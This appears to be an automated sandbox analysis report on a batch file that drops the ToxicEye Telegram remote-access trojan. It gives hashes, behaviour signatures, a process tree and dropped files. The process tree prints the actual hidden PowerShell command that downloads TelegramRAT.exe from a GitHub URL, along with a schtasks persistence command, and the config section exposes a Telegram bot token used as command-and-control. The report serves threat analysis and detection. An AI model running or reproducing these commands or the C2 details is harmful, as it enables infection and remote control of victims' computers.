Analysis

  • max time kernel
    34s
  • max time network
    36s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/04/2025, 22:01

Errors

Reason
Machine shutdown

General

  • Target

    start.bat

  • Size

    359B

  • MD5

    567faa0407f102c40f1796b392530852

  • SHA1

    0adbdf7d448caae6e96e067d1551b7462d26c4fd

  • SHA256

    ea346b60666802c1985522daf4187f41aef151475086125fdad8c0930e0f78d3

  • SHA512

    0b3ef1798ef70ae67c9a65e1fce3dbb237224b6da6871c0777f3fc4438fbc5725be421c97220674d7a202a99736a206f4658119d8bcc7516699d022648082022

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/Igor65afk/cxvd-vvcxxcvcxv/raw/refs/heads/main/TelegramRAT.exe

Extracted

Family

toxiceye

C2

https://api.telegram.org/bot7582691185:AAHyDd26FPsOpJGflKOytG7VEH8s8wridm0/sendMessage?chat_id=8029727797

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ToxicEye

    ToxicEye is a trojan written in C#.

  • Toxiceye family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 3 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -c "(New-Object Net.WebClient).DownloadFile('https://github.com/Igor65afk/cxvd-vvcxxcvcxv/raw/refs/heads/main/TelegramRAT.exe','TelegramRAT.exe')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3956
    • C:\Windows\system32\attrib.exe
      attrib +h TelegramRAT.exe
      2⤵
      • Views/modifies file attributes
      PID:4408
    • C:\Windows\system32\cscript.exe
      cscript //nologo x.vbs
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:5760
      • C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe
        "C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "discord" /tr "C:\Users\virustotal\total.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2784
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9CDC.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9CDC.tmp.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5048
          • C:\Windows\system32\tasklist.exe
            Tasklist /fi "PID eq 4916"
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5000
          • C:\Windows\system32\find.exe
            find ":"
            5⤵
              PID:4996
            • C:\Windows\system32\timeout.exe
              Timeout /T 1 /Nobreak
              5⤵
              • Delays execution with timeout.exe
              PID:2860
            • C:\Users\virustotal\total.exe
              "total.exe"
              5⤵
              • Downloads MZ/PE file
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:5628
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "discord" /tr "C:\Users\virustotal\total.exe"
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:768

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe

      Filesize

      146KB

      MD5

      6ff6e8812137e3649ed79fc86ce62378

      SHA1

      d7ed66fcc0005ed57395f8e5c2c8d0e3ea7eb789

      SHA256

      9e0dcbe4464af315c5956b153de276e1436eef533d77ddfea8d7daaf821b0861

      SHA512

      1616ccdd81aba448bf79a6216be7333041e5143868deb42763588dd992487327cfd99b5073487110bc7bea42b900920b916b3393c6dc77be3136bbe0cdc389cc

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hkkd5euf.31l.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp9CDC.tmp.bat

      Filesize

      192B

      MD5

      1782de74ab67a9a6fc798708378a0740

      SHA1

      6800c6310a1e6ee52b4023f39ffd7f8f9c2e3783

      SHA256

      c713cc387289da30bb3ef8bdc8028d1d33da18ee470c52c26a5987c9e413e15a

      SHA512

      568741588b7197691a16c13aaadb22eaf966a693db39e74702f2a95c4dfbb971ca70df3f01ecedd87d2943160ba1510f9cc84e3cd481aa2836fb3006fc8dd127

    • C:\Users\Admin\AppData\Local\Temp\x.vbs

      Filesize

      106B

      MD5

      74763585906a9a0610c8f7154d311a62

      SHA1

      9acfb60dcb8e934c56d0587f8f7d9ec59f09a35a

      SHA256

      ed5b2a7b68fe9b4eac47e50090b2f4d06444f3e89524fb337b71ec36be6967c5

      SHA512

      f7c8a08ecd1f69d1dac8be2335915fa3a9c32bcaa22631cdd7b760bef21cb5438e0da8741e64cd86dde1caf9411aa705fcbc1b2122aaa9dbcc0be5a2821d5313

    • memory/3956-11-0x00007FFB27B70000-0x00007FFB28631000-memory.dmp

      Filesize

      10.8MB

    • memory/3956-12-0x00007FFB27B70000-0x00007FFB28631000-memory.dmp

      Filesize

      10.8MB

    • memory/3956-16-0x00007FFB27B70000-0x00007FFB28631000-memory.dmp

      Filesize

      10.8MB

    • memory/3956-1-0x000002342FFB0000-0x000002342FFD2000-memory.dmp

      Filesize

      136KB

    • memory/3956-0-0x00007FFB27B73000-0x00007FFB27B75000-memory.dmp

      Filesize

      8KB

    • memory/4916-21-0x000001D93E2A0000-0x000001D93E2CA000-memory.dmp

      Filesize

      168KB

    • memory/5628-31-0x0000021CCFCA0000-0x0000021CCFCAA000-memory.dmp

      Filesize

      40KB

    • memory/5628-32-0x0000021CCFCD0000-0x0000021CCFCE2000-memory.dmp

      Filesize

      72KB

    • memory/5628-55-0x0000021CD0020000-0x0000021CD00CA000-memory.dmp

      Filesize

      680KB

    • memory/5628-56-0x0000021CD01D0000-0x0000021CD0246000-memory.dmp

      Filesize

      472KB